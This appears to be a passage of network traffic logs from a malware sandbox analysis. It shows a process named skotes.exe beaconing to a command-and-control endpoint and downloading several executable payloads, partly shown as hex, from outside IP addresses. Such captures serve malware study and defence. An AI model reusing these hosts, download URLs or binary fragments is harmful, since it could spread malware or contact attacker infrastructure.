Dec 20, 2024 09:12:37.347237110 CET	1236	IN	Data Raw: 00 e6 01 97 05 1e 00 46 2b 00 00 00 00 83 00 ae 00 8b 05 1f 00 53 2b 00 00 00 00 86 18 5a 0d 06 00 20 00 5c 2b 00 00 00 00 83 00 82 01 9d 05 20 00 6a 2b 00 00 00 00 86 18 5a 0d 06 00 21 00 73 2b 00 00 00 00 83 00 61 02 a2 05 21 00 84 2b 00 00 00 Data Ascii: F+S+Z \+ j+Z!s+a!+Z"+"+Z#+#82&#:2Z$D2$4&$4Z%4%6&%
Dec 20, 2024 09:12:37.347270966 CET	672	IN	Data Raw: 0f 8b 00 39 01 60 0b ea 03 39 01 22 0f 06 00 61 01 5a 0d 06 00 61 01 7c 06 02 04 7c 00 eb 0c 15 04 84 00 a9 06 7d 01 84 00 18 0f 63 01 69 01 5a 0d 33 04 31 02 48 06 43 04 01 01 c4 0e 61 04 01 01 18 07 67 04 39 02 27 10 6b 04 49 02 5a 0d 11 01 89 Data Ascii: 9`9"aZa\|\|}ciZ31HCag9'kIZZrq^\|y....#.+.3.;.C.K.S.[.c.k2.s?@{@c{
Dec 20, 2024 09:12:37.466454029 CET	1236	IN	Data Raw: 3c 41 6e 61 6c 69 7a 61 72 54 65 78 74 6f 41 73 79 6e 63 3e 64 5f 5f 31 30 00 3c 70 61 6c 61 62 72 61 3e 35 5f 5f 32 30 00 3c 3e 63 5f 5f 44 69 73 70 6c 61 79 43 6c 61 73 73 32 30 5f 30 00 3c 3e 39 5f 5f 32 31 5f 30 00 3c 52 65 65 6d 70 6c 61 7a Data Ascii: <AnalizarTextoAsync>d__10<palabra>5__20<>c__DisplayClass20_0<>9__21_0<ReemplazarConSinonimos>b__21_0<>9__22_0<GenerarAnagramas>b__22_0<>9__23_0<VerificarOrtografia>b__23_0<>c__DisplayClass23_0<>9__15_0<ObtenerFrecuenciaPalabras>b__1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49849	185.215.113.43	80	5808	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 09:12:39.830735922 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 33 34 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018348001&unit=246122658369
Dec 20, 2024 09:12:41.175507069 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 08:12:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49855	31.41.244.11	80	5808	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 09:12:41.300192118 CET	59	OUT	GET /files/fate/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 09:12:42.622639894 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 08:12:42 GMT Content-Type: application/octet-stream Content-Length: 776832 Last-Modified: Tue, 17 Dec 2024 09:45:14 GMT Connection: keep-alive ETag: "6761482a-bda80" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL`g"RY@@7<.@X(9T.text `.rdata$@@.datal"P>@.bsSST `.tlsV@.rsrcX@@.reloc@Z@B.bsst@.bssp@
Dec 20, 2024 09:12:42.622730017 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 09:12:42.622764111 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 09:12:42.622819901 CET	1236	IN	Data Raw: 8b 6c 24 0c 8d 74 24 14 c6 07 00 68 35 02 00 00 56 e8 6d fe ff ff 83 c4 08 89 c7 3b 44 24 48 75 1a 8b 44 1d 24 8b 4c 24 04 0f b7 04 01 8b 4c 1d 1c 01 d9 8b 04 81 89 04 24 eb 05 83 44 24 08 04 8b 44 24 28 83 f8 10 72 2d 8b 4c 24 14 8d 70 01 81 fe Data Ascii: l$t$h5Vm;D$HuD$L$L$D$D$(r-L$prQ) sT$VQl$;\|$HtD$$4$L$,10^_[]*-USWV$$$ WB1$1
Dec 20, 2024 09:12:42.622857094 CET	1236	IN	Data Raw: ff ff 83 ec 14 0f 28 05 10 c0 41 00 0f 11 44 24 04 89 1c 24 c7 44 24 18 00 00 00 00 c7 44 24 14 80 00 00 00 ff d0 83 f8 ff 0f 84 ab 01 00 00 89 c7 6a 00 50 ff 15 98 39 42 00 83 f8 ff 0f 84 70 01 00 00 89 c3 50 e8 1c 13 00 00 83 c4 04 89 c5 8d 44 Data Ascii: (AD$$D$D$jP9BpPD$jPSUW,:BBW49BE<L=l$$D$\$L$WD$ WD$Uv+w\|$ D$$WUS`K
Dec 20, 2024 09:12:42.622911930 CET	1236	IN	Data Raw: 08 89 f1 52 57 e8 0b 00 00 00 68 f8 41 42 00 56 e8 80 3f 00 00 56 89 ce 8b 44 24 0c ff 74 24 08 ff 70 04 ff 30 e8 f9 02 00 00 c7 06 10 c2 41 00 89 f0 5e c2 08 00 cc 57 56 89 ce 8b 7c 24 0c c7 01 28 c1 41 00 8d 41 04 31 c9 89 4e 08 89 4e 04 8d 4f Data Ascii: RWhABV?VD$t$p0A^WV\|$(AA1NNOPQEAGONFA^_WV\|$(AA1NNOPQDAGONF\A^_WV\|$(AA1NNOPQDAG
Dec 20, 2024 09:12:42.622946024 CET	1236	IN	Data Raw: 89 43 0c 89 7b 1c 8b 4d cc 89 4b 20 47 57 ff 75 c8 50 e8 30 57 00 00 83 c4 0c 8b 45 08 89 43 04 8b 45 0c 89 43 08 8d 7d d8 89 3b e8 9f 00 00 00 83 c4 24 8b 65 c4 83 7f 14 10 72 03 8b 7d d8 c7 06 28 c1 41 00 8d 46 04 31 c9 89 4e 08 89 4e 04 8d 4d Data Ascii: C{MK GWuP0WECEC};$er}(AF1NNM9APQ>@AEr,MxrQ) s>$WQAEFEFM1e^_[]USWV\|$0WB1D$t$<~t
Dec 20, 2024 09:12:42.623007059 CET	1120	IN	Data Raw: e0 89 44 24 04 8b 39 85 ff 75 26 89 ce 89 e1 6a 00 e8 f6 07 00 00 83 3e 00 75 0d a1 80 65 42 00 40 a3 80 65 42 00 89 06 89 e1 e8 0e 08 00 00 8b 3e 8b 4c 24 04 31 e1 e8 bd 04 00 00 89 f8 83 c4 08 5e 5f c3 cc 57 56 8b 7c 24 0c 8b 41 04 39 78 0c 76 Data Ascii: D$9u&j>ueB@eB>L$1^_WV\|$A9xvH4u1xtf9xv@4^_SWV8\$HWB1D$4t\;uW\|$LjGtHESBP_FAPb#3
Dec 20, 2024 09:12:42.623043060 CET	1236	IN	Data Raw: 1c 00 00 b9 cc 69 42 00 e8 ef 03 00 00 68 88 b8 41 00 e8 45 01 00 00 59 c3 68 92 b8 41 00 e8 39 01 00 00 59 c3 55 8b ec eb 0d ff 75 08 e8 a9 65 00 00 59 85 c0 74 0f ff 75 08 e8 28 a0 00 00 59 85 c0 74 e6 5d c3 83 7d 08 ff 0f 84 f2 20 00 00 e9 31 Data Ascii: iBhAEYhA9YUueYtu(Yt]} 1UuY]UEV AtjVYY^]U];WBu!UVWdBW09Bu>u&}>td,dBWBW0:B_
Dec 20, 2024 09:12:42.623079062 CET	1236	IN	Data Raw: ec 56 6a 00 6a 00 e8 93 9b 00 00 8b 75 08 85 c0 59 59 b9 53 03 42 00 0f 45 c8 51 8d 4e 24 e8 41 00 00 00 8b 45 0c 85 c0 74 0a 50 6a 00 e8 6c 9b 00 00 59 59 85 c0 b9 88 0e 42 00 0f 45 c8 51 8d 4e 2c e8 1d 00 00 00 5e 5d c3 55 8b ec 8b 45 08 83 78 Data Ascii: VjjuYYSBEQN$AEtPjlYYBEQN,^]UEx$tp$j>YY]USW}9;t>;t3Y#t*?VtF>u+FVYtVWPH^_[]VV(A?~YtvKYfA^UQj cEY
Dec 20, 2024 09:12:42.742660046 CET	1236	IN	Data Raw: 8b 01 8b 50 fc 2b c2 83 c0 fc 83 f8 1f 77 04 89 11 5d c3 e9 7b 81 00 00 8b 41 14 8b 51 10 83 f8 0f 76 02 8b 09 52 50 50 51 e8 45 00 00 00 83 c4 10 c3 8b 41 14 8b 51 10 83 f8 0f 76 02 8b 09 50 52 50 51 e8 2b 00 00 00 83 c4 10 c3 55 8b ec 8b 45 0c Data Ascii: P+w]{AQvRPPQEAQvPRPQ+UE9EtQvPuRQ]UUv<=At3MVuAW}F;F;GVPRW_^]UQS]VWMw+u;Bv+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49868	185.215.113.43	80	5808	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 09:12:46.508344889 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 33 34 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018349001&unit=246122658369
Dec 20, 2024 09:12:47.859997988 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 08:12:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49874	31.41.244.11	80	5808	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 09:12:47.983113050 CET	61	OUT	GET /files/london/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 09:12:49.306000948 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 08:12:49 GMT Content-Type: application/octet-stream Content-Length: 1885696 Last-Modified: Wed, 18 Dec 2024 18:20:46 GMT Connection: keep-alive ETag: "6763127e-1cc600" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 80 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4a 00 00 04 00 00 25 2d 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_gJ@J%-@T0h 1 H@.rsrc X@.idata 0Z@ *@\@uzxdwyviP 0B^@efzdldigpJ@.taggant0J"@
Dec 20, 2024 09:12:49.306121111 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 09:12:49.306154013 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 09:12:49.306211948 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 09:12:49.306243896 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 09:12:49.306279898 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ])u-piTJ32d<eA}
Dec 20, 2024 09:12:49.306318998 CET	1236	IN	Data Raw: 21 cf 66 2e ba 16 26 9b 62 40 6b 92 4d 3f 11 5b 40 8d 52 21 cb d4 f8 c0 34 66 c1 b5 39 24 f2 13 7d b9 bf 75 bd d7 8b 62 c7 b9 e7 ae 7a 6f a1 06 5f 08 e4 a1 31 a9 7e f1 03 7c fe 9b 75 11 2e 8a 82 79 f9 f9 25 75 52 7d 09 2d 20 4e fc 23 00 60 02 28 Data Ascii: !f.&b@kM?[@R!4f9$}ubzo_1~\|u.y%uR}- N#`(W%:YPhnTbGh"CMGC3DlPMgQVJGPn@G-&PU 2dhCac^la]EJQ-vMWY$G!:yEu^nD
Dec 20, 2024 09:12:49.306356907 CET	1236	IN	Data Raw: 8a 08 49 6d 5b 11 8b ee 01 de e4 ce 4d 5a 41 fc 72 5a f0 37 a9 4a 65 cf c0 37 97 0c c6 50 fc a8 71 eb a0 4c 94 fd 0c cf c6 5a 96 15 c4 10 60 43 50 8d 74 f1 ac 0d b9 a5 c7 bd 93 62 c7 1e 9c db 3f da 29 d2 2a 5f 31 48 0a 4d 82 b2 11 9f e7 6b 4b bc Data Ascii: Im[MZArZ7Je7PqLZ`CPtb?)*_1HMkKG\|}9=lgB\o AYcjbRyN8u'qpPE7Bj,6 ~#XeKAdLvMf&IqvVJ>d#[4+Zr%LZ^;G}0"&\
Dec 20, 2024 09:12:49.306391954 CET	896	IN	Data Raw: 7c 29 62 ff ab c6 34 b6 5e 1c 9b 83 26 a2 83 a6 5f a8 bc e8 5c ce 39 75 cd f1 ed f8 b3 e3 97 42 ff a1 7f a7 db a7 aa ee 79 fb bd e0 01 f0 75 43 3f 1f a1 8f a4 3d 5f cf 34 31 dc f9 8b 3c d0 2d ae c5 99 dc 63 0d 72 8b dc 26 21 8f 4f 11 3a 1c f1 f1 Data Ascii: \|)b4^&_\9uByuC?=_41<-cr&!O:}Y5=B`u^l,)0C&aXHPFAE3.p'?U_I3Y$VH_0;xcnwt`7bx,Q:J?1OGek?VUTX5Kx<DEO"
Dec 20, 2024 09:12:49.306447983 CET	1236	IN	Data Raw: ce b3 75 db 64 f3 ff fb 46 40 0a ac b9 05 88 9f d2 1d 91 fa cd 55 3c 50 51 e5 e4 9a df aa 5b ad f5 2f b3 a1 ca ad 87 d6 39 15 fc 45 ad b5 15 c3 7e 0d 16 e3 44 e5 85 60 ad 26 74 da 75 50 87 3b f1 75 8c 53 24 7a a1 b7 b3 29 a5 ee f6 2e 0c 26 8c bd Data Ascii: udF@U<PQ[/9E~D`&tuP;uS$z).&]7w-\|Nr-=(YdMTKn>smx'JN\vOt;BSC"!0qY3YOJDMQ\|t3mA-nyr1
Dec 20, 2024 09:12:49.426155090 CET	1236	IN	Data Raw: c4 ab 59 80 52 a9 a6 9d bf d7 f5 7d 4d 34 ba f2 59 a8 5f fe 1d 61 f7 f5 c3 a5 5f c0 7d 4b 25 15 ed 0f 12 91 7a 91 bd 01 86 35 63 94 d5 3f d4 5b 59 39 06 8e c4 c8 a1 8e 2d 85 d6 d8 a6 50 44 c0 03 15 c3 4a 32 39 6e e2 0c 13 39 2d 10 6a ba 10 b3 6f Data Ascii: YR}M4Y_a_}K%z5c?[Y9-PDJ29n9-jo2`lAn9YtYnnN/\W>Bl,)f*:,^@S8@@(jau5rc6,O[t\JNK$G556JaoJtND\|'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49893	185.215.113.43	80	5808	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 09:12:55.044688940 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 33 35 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018350001&unit=246122658369
Dec 20, 2024 09:12:56.393205881 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 08:12:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49899	31.41.244.11	80	5808	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 09:12:56.517570019 CET	61	OUT	GET /files/wicked/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 09:12:57.847461939 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 08:12:57 GMT Content-Type: application/octet-stream Content-Length: 1114112 Last-Modified: Thu, 19 Dec 2024 03:43:46 GMT Connection: keep-alive ETag: "67639672-110000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 24 95 63 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 cc 10 00 00 32 00 00 00 00 00 00 ee ea 10 00 00 20 00 00 00 00 11 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 11 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 ea 10 00 57 00 00 00 00 00 11 00 48 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 11 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL$cg02 @ `@WH/@ H.text `.rsrcH/0@@.reloc@@BH<K`pY?F60584zc:VN01O*S~IpRiIPn}iJ!BH+o/Syj8T'}yIkD'$6}w[ )j[-0\|ph\LRT~bKh"8s`)1 [i&9a?FN~_^Q43L@vxIB4\|(~YLS;x)wv:2y%{3w)^7@7k
Dec 20, 2024 09:12:57.847492933 CET	224	IN	Data Raw: c5 aa 48 9b ae 70 7d f1 84 22 02 e3 af 25 ff 70 0b a7 0d f0 30 e9 b8 67 c4 33 a1 c7 f4 e2 67 07 b9 1d 13 d5 b0 15 b7 9a 9c f0 4c 20 85 a8 02 8b 95 86 b3 8e 7d 65 ab 63 4d 56 2e 77 fb 94 14 cb 5e 76 61 bc 07 61 d8 0e 44 fa a3 52 50 b7 c7 84 0f 72 Data Ascii: Hp}"%p0g3gL }ecMV.w^vaaDRPr\|>CNbYluH#61Z:';)5q2}KK'Rm!a;ijxL8MMWYbp{,mgT%
Dec 20, 2024 09:12:57.847507000 CET	1236	IN	Data Raw: 03 9a 99 28 de 39 c1 02 3c 9f 5f 07 7b 3b b2 00 b7 ae d7 74 6f 85 80 52 4f 1f 65 f3 11 d5 ea aa cb 37 b8 97 99 bd 98 59 d6 b2 7d 58 2f 03 43 c3 c0 83 99 4e 37 53 11 b3 a4 15 45 24 c0 eb f4 28 0a f6 b8 1d 22 b0 9e 28 a5 23 9f b0 3d 01 06 1a fd 14 Data Ascii: (9<_{;toROe7Y}X/CN7SE$("(#=E@pw9RoyorX]i#-da,WQgn1ttuOG_gyf=O'\@&e:NJMqxC(R9VobP#k
Dec 20, 2024 09:12:57.847595930 CET	224	IN	Data Raw: 00 00 0a 13 04 06 6f 10 00 00 0a 1f 0d 6a 59 13 05 07 06 11 04 11 05 09 6f 1a 00 00 06 2a 00 00 00 13 30 07 00 e8 04 00 00 03 00 00 11 20 80 01 00 00 0a 20 80 01 00 00 8d 2c 00 00 01 25 d0 02 00 00 04 28 11 00 00 0a 0b 1f 10 8d 2c 00 00 01 0c 20 Data Ascii: ojYo*0 ,%(, 79d : a%$^E${?P@ZW6Qv
Dec 20, 2024 09:12:57.847609043 CET	1236	IN	Data Raw: 00 21 01 00 00 5f 01 00 00 38 03 00 00 8a 01 00 00 f9 01 00 00 d4 02 00 00 d9 01 00 00 38 12 04 00 00 16 13 04 11 0c 20 3c 79 c3 e2 5a 20 b7 80 4f 15 61 38 44 ff ff ff 11 04 6a 06 6e 32 08 20 0c 40 97 01 25 2b 06 20 4f e4 5e 15 25 26 38 29 ff ff Data Ascii: !_88 <yZ Oa8Djn2 @%+ O^%&8)/ 7%+ & &%&8aa Z ]a8, NZ a8aa hZ `Ba8X ~Z [Ba
Dec 20, 2024 09:12:57.847625971 CET	1236	IN	Data Raw: 25 17 58 10 00 91 1f 18 62 60 13 04 7e 01 00 00 04 02 25 17 58 10 00 91 7e 01 00 00 04 02 25 17 58 10 00 91 1e 62 60 7e 01 00 00 04 02 25 17 58 10 00 91 1f 10 62 60 7e 01 00 00 04 02 25 17 58 10 00 91 1f 18 62 60 13 05 d0 01 00 00 1b 28 12 00 00 Data Ascii: %Xb`~%X~%Xb`~%Xb`~%Xb`(o( J6Z a8 ?_ `Z a8~( Z a8nj3 7r%+ L%&8~Y(
Dec 20, 2024 09:12:57.847675085 CET	1236	IN	Data Raw: 61 38 68 fd ff ff 07 2a 00 13 30 08 00 00 03 00 00 04 00 00 11 02 20 c1 36 74 93 5a 20 cf 5e 4e d7 61 10 00 20 8c 8c 7a 92 20 f5 f7 b7 f8 61 25 13 07 1f 12 5e 45 12 00 00 00 eb 00 00 00 51 00 00 00 c7 01 00 00 06 01 00 00 05 00 00 00 f4 01 00 00 Data Ascii: a8h*0 6tZ ^Na z a%^EQl]0n88 Z -vza+ E;Z @a8w ?_b 7Z a8V dZ ]a8;~
Dec 20, 2024 09:12:57.847697973 CET	1236	IN	Data Raw: 04 02 25 17 58 10 00 91 1e 62 60 7e 01 00 00 04 02 25 17 58 10 00 91 1f 10 62 60 7e 01 00 00 04 02 25 17 58 10 00 91 1f 18 62 60 13 05 11 07 20 03 fc db 6c 5a 20 cd a7 16 da 61 38 21 fe ff ff d0 01 00 00 1b 28 12 00 00 0a 6f 13 00 00 0a 11 05 28 Data Ascii: %Xb`~%Xb`~%Xb` lZ a8!(o( 9Z }+a8 gZ i~a8nj3 N}bf%+ OJd%&8~Y( AZ _a8nj. uBP%+ t$%& o0$Za8z~%X
Dec 20, 2024 09:12:57.847734928 CET	896	IN	Data Raw: 01 00 00 75 00 00 00 7c 01 00 00 4f 00 00 00 22 00 00 00 ba 00 00 00 38 77 01 00 00 03 25 7b 07 00 00 04 1e 62 7d 07 00 00 04 07 20 a1 b2 ad 2a 5a 20 ee 76 9e 7e 61 2b a2 03 03 7b 06 00 00 04 1e 62 03 7b 08 00 00 04 6f 0e 00 00 0a d2 60 7d 06 00 Data Ascii: u\|O"8w%{b} *Z v~a+{b{o`} t!Z Ka8u%{Y}%{Y} <8O%{b} !Z +fba8/{7 kR%+ 48`%& HZa8{{dY}{ 7
Dec 20, 2024 09:12:57.847868919 CET	1236	IN	Data Raw: 7b 96 25 2b 06 20 12 19 2d 98 25 26 2b 8a 08 17 58 0c 11 04 20 51 23 66 ec 5a 20 be 2a aa 6e 61 38 73 ff ff ff 06 09 58 0a 07 09 08 1f 1f 5f 62 60 0b 11 04 20 49 fd 60 0f 5a 20 30 5c 39 af 61 38 53 ff ff ff 07 2a 00 00 13 30 06 00 cf 00 00 00 07 Data Ascii: {%+ -%&+X Q#fZ na8sX_b` I`Z 0\9a8S0 v ICa%^EgT08X zZ Pa+X( q+bX_b` Z 1Sa8\| \Z ma8i
Dec 20, 2024 09:12:57.967566967 CET	1236	IN	Data Raw: 49 61 25 0b 1c 5e 45 06 00 00 00 19 00 00 00 4a 00 00 00 d4 ff ff ff 32 00 00 00 60 00 00 00 02 00 00 00 2b 5e 06 6a 1a 6a 2f 08 20 0d fc bb 08 25 2b 06 20 27 17 12 1d 25 26 2b c0 02 7b 13 00 00 04 06 1c 73 0b 00 00 06 a4 03 00 00 02 20 56 ce 72 Data Ascii: Ia%^EJ2`+^jj/ %+ '%&+{s Vrh+} C^Z kJ}a+X Z ca8y*0{.z OR a?a%^EV;+T}{(}{ ( Z 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49919	185.215.113.43	80	5808	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
